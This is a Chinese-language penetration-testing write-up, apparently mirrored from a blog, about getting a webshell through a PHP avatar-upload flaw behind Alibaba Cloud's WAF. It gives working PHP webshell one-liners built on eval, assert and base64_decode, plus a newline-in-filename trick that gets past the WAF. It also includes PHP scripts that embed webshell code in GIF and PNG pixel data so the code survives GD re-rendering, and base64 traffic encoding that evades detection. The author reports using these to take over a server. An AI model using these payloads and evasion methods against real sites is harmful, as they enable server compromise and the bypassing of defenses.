23

PHP任意文件上传绕过多重限制

 2 years ago
source link: https://yanghaoi.github.io/2021/11/24/php-ren-yi-wen-jian-shang-chuan-rao-guo-duo-chong-xian-zhi/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

0x01 简介

在一次对站点进行安全测试中,遇到任意文件上传的漏洞,但是目标系统存在阿里云WAF和gd库的二次渲染,通过不断尝试绕过,最终拿下目标。

0x02 文件上传点寻找

注册登录到某系统后,在多个文件上传点进行测试,发现进行的大是白名单验证,没法上传除了多媒体文件外的其他类型。最后在修改资料位置对头像上传位置抓包,可以看到还传入了图像裁剪的参数(后续的测试把x,y都设置为0,避免对图片产生额外影响):

5c08fb6b3c23da8d975fe725f69a0678

可以上传并返回路径,该路径可以通过拼接域名直接访问到:

f77b2f45017f1822a9063a88356203b4

修改filename类型为txt,发现可以上传成功,说明该处上传没有对文件类型进行限制,是一个潜在的getshell点:

a89a2638b73acff6d612c09305ac77d1.png

尝试修改文件类型为php,不出意外被阿里云WAF拦截了:

7b49f4dc62ba5424b9e9888295f3f678

0x03 文件上传云WAF绕过

在之前的测试中,已经发现头像上传位置可以进行其他类型文件上传,但是测试php文件上传时被云WAF拦截了。对云WAF的绕过主要可以依靠数据包变形、分块、去除关键字特征等。

文件类型检测绕过

测试将filename中的文件名用换行分隔即可绕过(从文件名中间找个位置,不是文件扩展名)

410bdea252313f1d41ad03f64a46daff.png

文件内容检测绕过

WAF还会检测内容,如存在常见的<?php就会直接拦截,经过尝试,可以使用短标签<?=phpinfo();?>、敏感函数替换加上传参分离得到payload <?=@$_=$_REQUEST;call_user_func_array('assert',array($_[_]));?>,服务端的systemerror是因为图像渲染出错的异常:

f3a97502bb769fd8d953c0614482289e.png

0x04 GD库渲染绕过

上面的图片在传到后台时会被php的gd库重新渲染,因为上传的文件重新下载回来md5校验对不上。将文件类型改成txt上传,查看响应包发现特征 gd-jpeg v1

b6b56883571bae1951fb7fca2c77595b.png

看来图片是被重新渲染了,使用了php扩展gd库中的imagecreatefromjpeg()imagecreatefromstring(),imagejpeg()等函数处理。这些函数在图片渲染过程中,其实存在部分原始数据没有被修改到,不同的图片类型渲染情况也不相同,主要看后端处理后是什么类型的图片特征,上面的图片从文件头JFIF和gd-jpeg看应该是用imagejpeg()生成的。这里对gd库的渲染绕过进行一些整理。

JPG二次渲染

使用脚本jpg_payload.php来处理图片需要先在头像上传的位置上传一个正常的图片,然后再把渲染后的图片下载回来用脚本处理(脚本要求,最终图像的大小必须与原始图像相同)。脚本的原理是在将webshell编码成图像数据写入到图片的Scan Header之后,文件生成后使用gd库测试是否能正常渲染然后输出payload图片。

7b743250d339b97f9ace685f56a7019a.png

脚本使用前需要配置好PHP运行环境,直接到PHP官网,选择合适的包下载,我选择的是Windows下的zip压缩包:

bb92686a9bbce79e47b63b5b1cde27fd.png

解压完成后,到目录中看到php.ini-*的文件,选择一个重命名为php.ini,然后在其中加入extension=ext/php_gd2.dll开启gd扩展:

ba639fbc66dcf3b44af93570e31e3e8c.png

之后就配置下PHP的环境变量,在jpg_payload.php中加入要渲染的代码:

14d96190d5237ef534eb1e49365a24a2.png

$miniPayload可能需要多次构造,比如在最前面加字符,中间加注释,字母大写等等,经过许久的尝试,构造出以下两个可用的payload:

f5d02ea430e902cd002c5b52af6aff2b.png

在JPEG文件格式中,shell代码会放在Scan Header (00 0C 03 01 00 02 11 03 11 00 3F 00)之后:

bffe4401500cc360bce9a47236e6c497.png

在最终构造好的payload图片中看到shell数据确实是写在Scan Header之后的:

83735177446e63d044cb93a76204af2b.png

在burp中可以很方便的修改上传的文件,在之前的数据包右键菜单中选择从文件粘贴:

766506ff57aeca4f5c82bcac64bf6d82.png

上传成txt观察响应,发现php代码没有被破坏:

7ffcbed4eb7aa11255b50d62b81aa264.png

改成PHP后上传,访问(没有出现语法错误或者解析错误,Deprecated是说不推荐用字符串参数来调用assert断言,因为用了call_user_func_array回调,参数1就是字符串assert):

41529e89ba7908d6d1aabcb22ea1b294.png

然后测试shell执行情况,发现阿里云WAF对特征字符的拦截十分严格,执行var_dumpphpinfo马上就拦截,用PHP7特性执行(phpinfo)()会造成响应超时,应该还检测了响应数据。这里用一个没被拦截的函数die()输出数字来测试webshell执行情况:

a6212df4ff34bad88663bd36a1f7e228.png

可以看到成功执行了,说明shell还是可以用的,就是需要绕过流量特征检测,下一小节会继续对阿里云的流量检测进行绕过,完整使用webshell。这一节里继续整理下GD库对其他文件格式渲染的绕过。

GIF二次渲染

常见的方法是将GIF上传后的文件下载回来与源文件对比,找到未进行修改的部分插入PHP代码,但是操作起来很不方便。有没有类似JPG实现的自动脚本呢?在一篇博客中发现了实现方法,原脚本将生成一个纯色的GIF图,将脚本修改后可以对任意GIF文件进行代码注入:

<?php
// createGIFwithGlobalColorTable.php
$_file="example.gif";  //保存的文件名 
$_payload="00php /*123456789abcdefgh<?php 12345*/eval(\$_GET[1]);/*ijk*/eval(\$_REQUEST['11pass'])?>";   // POC
$_width=200; 
$_height=200;
if(strlen($_payload)%3!=0){
 echo "payload%3==0 !"; exit();
}
$im = imagecreate($_width, $_height); // 创建新的gif图

$im  = imagecreatefromstring(file_get_contents("SwipeTeachingCalloutImage.layoutdir-LTR.gif"));  //使用提供的Gif图

$_hex=unpack('H*',$_payload);

$colors_hex=str_split($_hex[1], 6);

for($i=0; $i < count($colors_hex); $i++){
  $_color_chunks=str_split($colors_hex[$i], 2);
  $color=imagecolorallocate($im,hexdec($_color_chunks[0]),hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));
  imagesetpixel($im,$i,1,$color);
}
imagegif($im,$_file);
?>

经过一番尝试,找到一个合适的GIF图片,并将PHP代码写入(Payload长度达到了64,还可以继续追加):

4fe658461735e1941ba91a436e4eb783.png

然后将生成的example.gif文件使用GD库渲染得到新图exploit.gif

<?php
$gif = imagecreatefromgif('example.gif');
imagegif($gif, 'exploit.gif');
imagedestroy($gif);
?>

重新渲染后,完全就是一样的GIF:

34de619a5e4f18854f01e2c8b8c726b8.png

最终也是达到了可以指定GIF图、指定Payload的效果。

PNG二次渲染

写入PLTE数据块

这种方式只针对索引彩色图像(index-color images)有效,使用poc_png工具写入。但是怎么看图片是否是索引彩色图像呢?可以使用Python库pillow来识别图像的模式,P就是索引彩色图像:

a9efa60ec312103eb5f9dc3283290976.png

输出图像模式的代码实现:

python
#-*- coding:utf-8 -*-
from PIL import Image
path = 'input.png'
img = Image.open(path)
print(path+" mode:"+img.mode)

path = 'php.png'
img = Image.open(path)
print(path+" mode:"+img.mode)

转换图像模式到索引彩色图像:

python
#-*- coding:utf-8 -*-
from PIL import Image
path = 'input.png'
img = Image.open(path)
print(path+" mode:"+img.mode)

img = img.convert('P')
img.save('new.png')
print(path+" mode:"+img.mode)

通过将任意图片转换模式后写入数据到PLTE块:

fae8d57ac3999b9f8127ffdf017486d5.png

写入 IDAT 数据块

可以通过php脚本实现,也可以使用其他语言实现的项目,Python:PNG-IDAT-Payload-Generator

$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img);
//  php png_payload.php > 1.png 
//  <?=$_GET[0]($_POST[1]);?>,写入的webshell

其他的webshell需要通过爆破的方法得到,参考:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

0x05 云WAF流量检测绕过

上文提到在绕过JPG的二次渲染后,使用webshell的过程中,只要在流量中出现了PHP代码的特征始终会被拦截。所以在shell中还需要进行流量上的绕过,需要将请求数据编码后在webshell中解码执行。使用BASE64编码数据后的基础免杀shell为<?=@$_=$_POST;@eval(base64_decode($_[_]));,经过不断的尝试,终于构造出可用的图片:

db6f9e1756a17a8de46b2dd1a28e9264.png

最终payload(蚁剑中_是保留字符,所以密码修改为了d):

$miniPayload = '/sssdajkhsdajk*/<?=@$_=$_POST;$x=BASE64_DECODE($_[d]);/*hsd*/@EVAL(($x));/*ajmjikloasdk*//*hsdajk*//*';   
a491cbd51933b27de2b65b7a5bcd2400.png

蚁剑的编码器用的编码器是对所有参数都base64编码(之前的流量中有很明显的PHP执行代码),返回数据也都base64:

4bbb7083c82f792da1e53d02997c4568.png

配置编码解码:

5a174bf482fe93a385e9b93519b7d3eb.png

发起的请求包如下:

c0fe29292e41807374e2439b7676e40f.png

最终也是使用蚁剑接管了该阿里云服务器:

06abe468a3b8b55d3790c9d6e9e49d37.png

查看权限:

2ab758ca0dcad1c23944ce4dd573238f.png

云WAF的流量绕过也可以通过真实IP或者其他解析到站点的域名,因为管理员可能没有对所有的域名和IP走云WAF,就可以只绕过上传php文件的拦截,后面的流量检测是没有的。最开始拿到shell也是走一个加速域名(shell后查看了图片渲染处的源码,为后续直接对阿里云的POC构造省下了好多事),这里估计是开发想着所有流量都过云WAF会很慢,于是把很多静态资源放在了另外一个域名上,但是这个域名并没有受到云WAF保护,没有云WAF保护,利用上面的二次渲染绕过直接getshell:

7ed3aadabbd57a31636424043e96d10e

0x06 总结

从这个实例中,研究了GIF、PNG、JPG图片二次渲染,并整理了生成工具。在漏洞点有二次渲染且存在阿里云WAF的情况下,getshell的流程方法。包括:
1.换行绕过阿里云WAF上传文件检测;
2.jpg_paylaod脚本绕过图片二次渲染;
3.webshell免杀过云WAF上传;
4.流量编码过WAF流量检测。
5.一些用到的基础PHPwebshell:

//过文件内容检测
<?=@$_=$_REQUEST;eval(array($_[_])[0]);
<?=@$_=$_POST;call_user_func_array("assert",array($_[_]));
//过文件内容和流量检测
<?=@$_=$_POST;$x=BASE64_DECODE($_[d]);@EVAL(($x));

0x07 参考

https://xz.aliyun.com/t/2657
https://aboutsc.tistory.com/204
https://secgeek.net/bookfresh-vulnerability/
https://www.sqlsec.com/2020/07/shell.html
https://rdot.org/forum/showthread.php?t=2780
https://github.com/huntergregal/PNG-IDAT-Payload-Generator
https://blog.isec.pl/injection-points-in-popular-image-formats/
https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromgif
https://pillow.readthedocs.io/en/latest/handbook/concepts.html#modes
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
https://blog.safebuff.com/2016/06/17/Bypass-imagecopyresampled-and-imagecopyresized-generate-PHP-Webshell/


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK